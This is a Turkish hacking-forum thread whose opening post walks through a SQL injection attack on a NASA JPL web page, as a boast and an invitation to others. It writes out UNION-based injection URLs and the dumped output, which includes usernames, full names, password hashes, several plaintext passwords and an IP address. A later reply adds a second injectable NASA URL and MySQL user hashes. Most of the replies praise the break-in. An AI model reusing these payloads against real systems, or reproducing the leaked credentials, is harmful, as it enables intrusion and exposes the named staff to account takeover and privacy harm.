folder Tahribat.com Forumları
linefolder Hertürlü Web tabanlı Saldırı Taktik ve Stratejileri
linefolder NASA.Gov SQL Injection (Eğlenmek İsteyene)



NASA.Gov SQL Injection (Eğlenmek İsteyene)

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Holyzone
    Holyzone's avatar
    Üstün Hizmet Madalyası
    Kayıt Tarihi: 13/Ekim/2008
    Erkek

    Selam olsun sevgili mürid & mürideler,

    Büyük sistemlerden gözü korkan gençlerimize ; " dünya devi bir sistem bile olsa bakmasını bilince açığı bir açığı vardır" mesajını vermek için sizlerleyim.

    Başlayalım,

    tabloları çekelim;

    http://www.jpl.nasa.gov/heartcomets/comments.php?id=1%20AND%202=1%20UNION%20ALL%20SELECT%201,2,concat%28table_name,0x3a,0x202f2f20,CONCAT_WS%28CHAR%2832,58,32%29,user%28%29,database%28%29,version%28%29%29%29,4,5,6,7,8%20FROM%20information_schema.tables--

    tblusers, bizim kolonumuz;

    http://www.jpl.nasa.gov/heartcomets/comments.php?id=1 AND 2=1 UNION ALL SELECT 1,2,concat(column_name,0x3a,0x202f2f20,CONCAT_WS(CHAR(32,58,32),user(),database(),version())),4,5,6,7,8 FROM information_schema.columns where table_name=0x74626c7573657273--

    kullanıcı adı ve şifreler gelsin şimdi de;

    http://www.jpl.nasa.gov/heartcomets/comments.php?id=1 AND 2=1 UNION ALL SELECT 1,2,concat(username,0x3a,password,0x202f2f20,CONCAT_WS(CHAR(32,58,32),user(),database(),version())),4,5,6,7,8 FROM tblusers--

    --------

    dwmartin:8694EEAD6F2327247945EAF8FCFEC084 // JPLDev@localhost : JPLMaster : 5.1.45-community
    (Posted: Dec. 31, 1969 4:00 pm)
    jwieclawek:CDF178CF89B9A36AF91D685884EFF508 // JPLDev@localhost : JPLMaster : 5.1.45-community
    (Posted: Dec. 31, 1969 4:00 pm)
    mrossi:82438B584CE03448873C3A8F3B9D3365 // JPLDev@localhost : JPLMaster : 5.1.45-community
    (Posted: Dec. 31, 1969 4:00 pm)
    swatanabe:CDF178CF89B9A36AF91D685884EFF508 // JPLDev@localhost : JPLMaster : 5.1.45-community
    (Posted: Dec. 31, 1969 4:00 pm)
    tgreicius:C6C0651B86246E7C50D0F343C857F1E8 // JPLDev@localhost : JPLMaster : 5.1.45-community
    (Posted: Dec. 31, 1969 4:00 pm)
    mperez:927CB51E330927AA79DC100318DE071B // JPLDev@localhost : JPLMaster : 5.1.45-community
    (Posted: Dec. 31, 1969 4:00 pm)
    jchan:9A3CDF4729C7EE1ED73E183439104E9F // JPLDev@localhost : JPLMaster : 5.1.45-community
    (Posted: Dec. 31, 1969 4:00 pm)
    mwho:800A1AEAFDCC5A4BCB7095F723A04797 // JPLDev@localhost : JPLMaster : 5.1.45-community
    (Posted: Dec. 31, 1969 4:00 pm)
    laespino:F1B5D7E15E499F2FAA86F5919FC7E635 // JPLDev@localhost : JPLMaster : 5.1.45-community
    (Posted: Dec. 31, 1969 4:00 pm)

    ----------------

    UserName:FirstName:LastName:Password:IP:Status:DateCreated:DateModified:
    dwmartin:David:Martin:iona:128.149.227.181:1:2007-01-13 00:00:00:2007-01-13 00:00:00:
    jwieclawek:Joe:Wieclawek:CDF178CF89B9A36AF91D685884EFF508::1:2007-01-13 00:00:00:2007-01-13 00:00:00:
    mrossi:Maggie:Rossi:82438B584CE03448873C3A8F3B9D3365::1:2007-09-11 00:00:00:2007-09-11 00:00:00:
    swatanabe:Susan:Watanabe:CDF178CF89B9A36AF91D685884EFF508::1:2007-01-13 00:00:00:2007-01-13 00:00:00:
    tgreicius:Tony:Greicuis:colonel::1:2008-03-31 11:37:59:2008-03-31 11:37:59:
    mperez:Martin:Perez:927CB51E330927AA79DC100318DE071B::1:2008-03-31 11:37:59:2008-03-31 11:37:59:
    jchan:Jonathan:Chan:9A3CDF4729C7EE1ED73E183439104E9F::1:2008-03-31 11:37:59:2008-03-31 11:37:59:
    mwho:Melody:Ho:jukeboxadmin2::1:2009-07-07 01:10:00:2009-07-07 14:00:00:
    laespino:Luis:Espinoza:jukeboxadmin2::1:2009-07-07 01:10:00:2009-07-07 14:00:00:

    ve bazıları bu şekilde kırıldı bile...

    Hadi kolay gelsin sevgili müridler :)

    Reply With Quote Alıntı yap
  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    RETRET
    RETRET's avatar
    Kayıt Tarihi: 16/Eylül/2007
    Erkek

    birkaçını denedim, bu sefer aştın sen kendini, ilk tebrik benden olsun. aslında sana bir pasta yaptırmamız gerekli, güzel bir numune bu.

    ulan hepiniz yaşlanmışlınız size inat ben yaşlanmayacam saç da ektirecem pilates de yapacam, götümü yiyin.
    Reply With Quote Alıntı yap
  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Holyzone
    Holyzone's avatar
    Üstün Hizmet Madalyası
    Kayıt Tarihi: 13/Ekim/2008
    Erkek

    IRET bunu yazdı:
    -----------------------------

    birkaçını denedim, bu sefer aştın sen kendini, ilk tebrik benden olsun. aslında sana bir pasta yaptırmamız gerekli, güzel bir numune bu.


    -----------------------------
    Eyvallah hoca. Tarikat ruhunun tüm müridlerde geri oturması; ana,baba,bacı,din,adet,siyaset,ırk tartışacağımıza tahribat'ın sebebi olan bilişim üzerine herkesin abanması dileğiyle.

    Reply With Quote Alıntı yap
  4. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Ayro
    Ayro's avatar
    Kayıt Tarihi: 08/Ağustos/2005
    Erkek

    helal hocam :)

    Reply With Quote Alıntı yap
  5. KısayolKısayol reportŞikayet pmÖzel Mesaj
    HeYeT
    HeYeT's avatar
    Kayıt Tarihi: 03/Ocak/2006
    Erkek

    edit: ben niye bunu yazdım :S

    matematik24.com
    Reply With Quote Alıntı yap
  6. KısayolKısayol reportŞikayet pmÖzel Mesaj
    ltcelik
    ltcelik's avatar
    Kayıt Tarihi: 11/Mayıs/2007
    Erkek

    : )) ))

     

    Yav bir gün NASA sizi SATURN5 roketine oturtup ateşlemesin.. tövbe tövbe..

    Zeki müren de bizi gördü artık

    tebrikler...

     

    Din Kitaplarını Okuyup Anlayana Ateist, Okuyup Anlamayanlara "dindar" denir... Nikola TESLA.. ben mi? Ne okurum ne anlarım... Kendi kendime de uyuz oluyorum ama olamıyorum.. "Ama efsaneyi çıkarıp atarsan ve yaptıkları eylemlere bakarsan... ..Jedi'ların mirası başarısızlıktır. İkiyüzlülüktür, kibirdir."
    Reply With Quote Alıntı yap
  7. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Dark_Elf
    Dark_Elf's avatar
    Kayıt Tarihi: 11/Aralık/2008
    Erkek

    gizlemek daha mantıklı olmazmı

    bu arada tebrik ediyorum hocam

    my name is nigga # köprü altında çakdım sürtüğe vurdum mala inlettim ortalığı
    Reply With Quote Alıntı yap
  8. KısayolKısayol reportŞikayet pmÖzel Mesaj
    iLLuMiNaTi
    iLLuMiNaTi's avatar
    Banlanmış Üye
    Kayıt Tarihi: 08/Mart/2007
    Erkek

    ltcelik bunu yazdı:
    -----------------------------

    : )) ))

     

    Yav bir gün NASA sizi SATURN5 roketine oturtup ateşlemesin.. tövbe tövbe..

    Zeki müren de bizi gördü artık

    tebrikler...

     


    -----------------------------

    Bencede tam yerinde laf zekimürende bizi gördü :)

    Reply With Quote Alıntı yap
  9. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Melik
    Melik's avatar
    Kayıt Tarihi: 29/Mayıs/2009
    Erkek

    Hocam ne oluyor tam olarak ?

    Profil fotoğrafndaki begenme sayısını popülerlikle eşdeger kılan bir ülkede yaşıyoruz
    Reply With Quote Alıntı yap
  10. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Master
    Master's avatar
    Kayıt Tarihi: 10/Nisan/2007
    Erkek

    Türkler Uzayda! Tebrikler holy. ;)

    Bilgi güçtür, düşmanını barışa zorlar.
    Reply With Quote Alıntı yap
  11. KısayolKısayol reportŞikayet pmÖzel Mesaj
    unix
    Andrei
    Andrei's avatar
    Banlanmış Üye
    Kayıt Tarihi: 11/Aralık/2008
    Erkek

    agd_scorp'la ben lise 2'deyken cekmistik bunun id & pwd'lerini. hatta mssql sifresi de vardı o pustta.

    söyle bise vardı hatta :

    sql yolu :

    http://gcmd.nasa.gov/ConferenceCalendar/confFunctions.py?action=get&id= 

    kolonların cekildigi url :

    http://gcmd.nasa.gov/ConferenceCalendar/confFunctions.py?action=get&id=-1991%20union%20select%201,2,3,4,5,6,7--


    kullanıcı tabloları :

    User
    Password
    Select_priv

    kullanıcı : mddba@192.168.1.90

    repl = 2CED87871A0D7350162A20983554D725BCDC1E40

    mddba = B79535283ECFDDBA8686B34E613009568A004783

    serfuser = 8320D9DBB59819A9322813AC5AD26D7335E3949F

    ... diye gidiyordu. tebrikler :W

    %40 indirimli olarak "Centos Sistem ve Sunucu Yönetimi" adlı kitabımızı satın alarak, Linux üzerine yapılacak olan devam projeleri icin destekte bulunabilirsiniz : http://www.hepsiburada.com/centos-sistem-ve-sunucu-yonetimi-oku-izle-dinle-ogren-p-KKODLAB01579
    Reply With Quote Alıntı yap
Toplam Hit: 7292 Toplam Mesaj: 39